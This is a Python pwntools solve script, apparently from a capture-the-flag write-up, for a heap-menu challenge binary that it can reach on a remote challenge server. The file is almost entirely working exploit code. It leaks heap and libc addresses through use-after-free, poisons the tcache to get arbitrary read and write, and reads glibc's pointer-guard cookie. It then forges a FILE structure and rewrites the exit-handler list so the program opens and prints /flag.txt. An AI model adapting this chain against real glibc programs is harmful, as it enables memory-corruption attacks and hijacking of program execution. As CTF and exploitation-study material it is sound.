/..

#CONTENT

#TOP

solve.py
PYTHON
from pwn import *
from os.path import expanduser
import builtins
import atexit
import os

context.terminal = ["kitty"]
context.binary = file = ELF("./chall")
libc = ELF("./libc.so.6")

sizes = dict()

def sendlineafter(val, delim=b": "):
    match type(val):
        case builtins.int | builtins.str:
            p.sendlineafter(delim, f"{val}".encode())
        case builtins.bytes:
            p.sendlineafter(delim, val)
def new(idx: int, size: int):
    sendlineafter(1)
    sendlineafter(idx)
    sendlineafter(size)
    sizes[idx] = size
    return idx
def edit(idx: int, data: bytes):
    if len(data) > sizes[idx]:
        log.error(f"data too long")
    data = data.ljust(sizes[idx], b"\x00")
    sendlineafter(2)
    sendlineafter(idx)
    sendlineafter(data)
def kill(idx: int):
    sendlineafter(3)
    sendlineafter(idx)
def view(idx: int):
    sendlineafter(4)
    sendlineafter(idx)
    p.recvuntil(b"Data: ")
    return p.recv(sizes[idx])

gdbscript = """
b *main+0x100
brva 0x000012d0
c
"""
if args.QEMU:
    p = process("./run.sh -g 1234", shell=True)
    for _ in range(3):
        p.recvline()
    open("gdbscript", "w+").write(gdbscript)
    env = os.environ.copy()
    env["LD_LIBRARY_PATH"] = expanduser("~/.pyenv/versions/3.11.9/lib")
    g = process("kitty gdb-multiarch -ex 'target remote :1234' -x gdbscript ./chall", shell=True, env=env)
    atexit.register(lambda: g.close())
elif args.REMOTE:
    p = remote("0.cloud.chals.io", "33799")
else:
    p = gdb.debug("./chall", gdbscript=gdbscript)

leak = p.recvline()
print(leak)

a = new(0, 0x500)
b = new(1, 0x38)

kill(b)
leak = view(b)
heapbase = u64(leak[:8]) << 12
mangle = heapbase >> 12
log.info(f"{heapbase = :#x}")

kill(a)
leak = view(a)
libcbase = u64(leak[:8]) - 0x1d7d00
log.info(f"{libcbase = :#x}")

a = new(0, 0x300)
b = new(1, 0x300)
kill(a)
kill(b)
edit(b, p64(
    (heapbase + 0x10) ^ mangle
))
tcache = new(0, 0x300)
tcache = new(0, 0x300)

def arbread(addr: int):
    payload = b"".ljust(0x58, b"\x00")
    payload += p64(1 << 48)
    payload = payload.ljust(0x1f8, b"\x00")
    payload += p64(addr)
    edit(tcache, payload)
    fake = new(1, 0x300)
    return view(fake)

def arbwrite(addr: int, data: bytes):
    payload = b"".ljust(0x58, b"\x00")
    payload += p64(1 << 48)
    payload = payload.ljust(0x1f8, b"\x00")
    payload += p64(addr)
    edit(tcache, payload)
    fake = new(1, 0x300)
    edit(fake, data)

offset = -0x28c0 + 0x30
if args.QEMU or args.REMOTE:
    offset = 0x1e6770
leak = arbread(libcbase + offset)
cookie = u64(leak[:8])
log.info(f"{cookie = :#x}")

"""
/* offset      |    size */  type = struct exit_function_list {
/*      0      |       8 */    struct exit_function_list *next;
/*      8      |       8 */    size_t idx;
/*     16      |    1024 */    struct exit_function fns[32];

                               /* total size (bytes): 1040 */
                             }
"""

def func(flavor: int, fn: int, arg: int):
    d = b""
    d += p64(flavor)
    fn ^= cookie
    fn = ((fn << 17) | (fn >> (64 - 17))) % (1 << 64)
    d += p64(fn)
    d += p64(arg)
    d += p64(0)
    return d

"""
/* offset      |    size */  type = struct exit_function {
/*      0      |       8 */    long flavor;
/*      8      |      24 */    union {
/*                     8 */        void (*at)(void);
/*                    16 */        struct {
/*      8      |       8 */            void (*fn)(int, void *);
/*     16      |       8 */            void *arg;

                                       /* total size (bytes):   16 */
                                   } on;
/*                    24 */        struct {
/*      8      |       8 */            void (*fn)(void *, int);
/*     16      |       8 */            void *arg;
/*     24      |       8 */            void *dso_handle;

                                       /* total size (bytes):   24 */
                                   } cxa;
/* XXX 16-byte padding   */

                                   /* total size (bytes):   24 */
                               } func;

                               /* total size (bytes):   32 */
                             }
"""

filename = libcbase + libc.bss()
arbwrite(filename, b"/flag.txt")

contents = libcbase + libc.bss(0x200)

fakefile = libcbase + libc.bss(0x100)
mask = (1 << 64) - 1
payload = FileStructure()
payload.flags = 0xfbad2488
payload._IO_read_ptr = contents + 0x1000
payload._IO_read_end = contents + 0x1000
payload._IO_read_base = contents
payload._IO_write_base = contents
payload._IO_write_ptr = contents
payload._IO_write_end = contents
payload._IO_buf_base = contents
payload._IO_buf_end = contents + 0x1000
payload.fileno = 3
payload._offset = mask
payload._old_offset = 0
payload._lock = libcbase + libc.sym._IO_stdfile_0_lock
payload._wide_data = libcbase + libc.sym._IO_wide_data_0
payload.vtable = libcbase + libc.sym._IO_file_jumps
payload = bytearray(bytes(payload))
payload[192:196] = p32(0xffffffff)
arbwrite(fakefile, bytes(payload))

log.info(f"{fakefile = :#x}")
log.info(f"{contents = :#x}")
log.info(f"{libcbase + libc.sym.fgetc = :#x}")
log.info(f"{libcbase + libc.sym.open = :#x}")

funcs = [
    func(4, libcbase + libc.sym.open, filename),
    func(4, libcbase + libc.sym.fgetc, fakefile),
    func(4, libcbase + libc.sym.puts, contents + 1),
    func(4, libcbase + libc.sym.sleep, 8)
]

payload = p64(0)
payload += p64(len(funcs))
payload += b"".join(reversed(funcs))

log.info(f"{libc.sym.initial = :#x}")
arbwrite(libcbase + libc.sym.initial, payload)

sendlineafter(0)

p.interactive()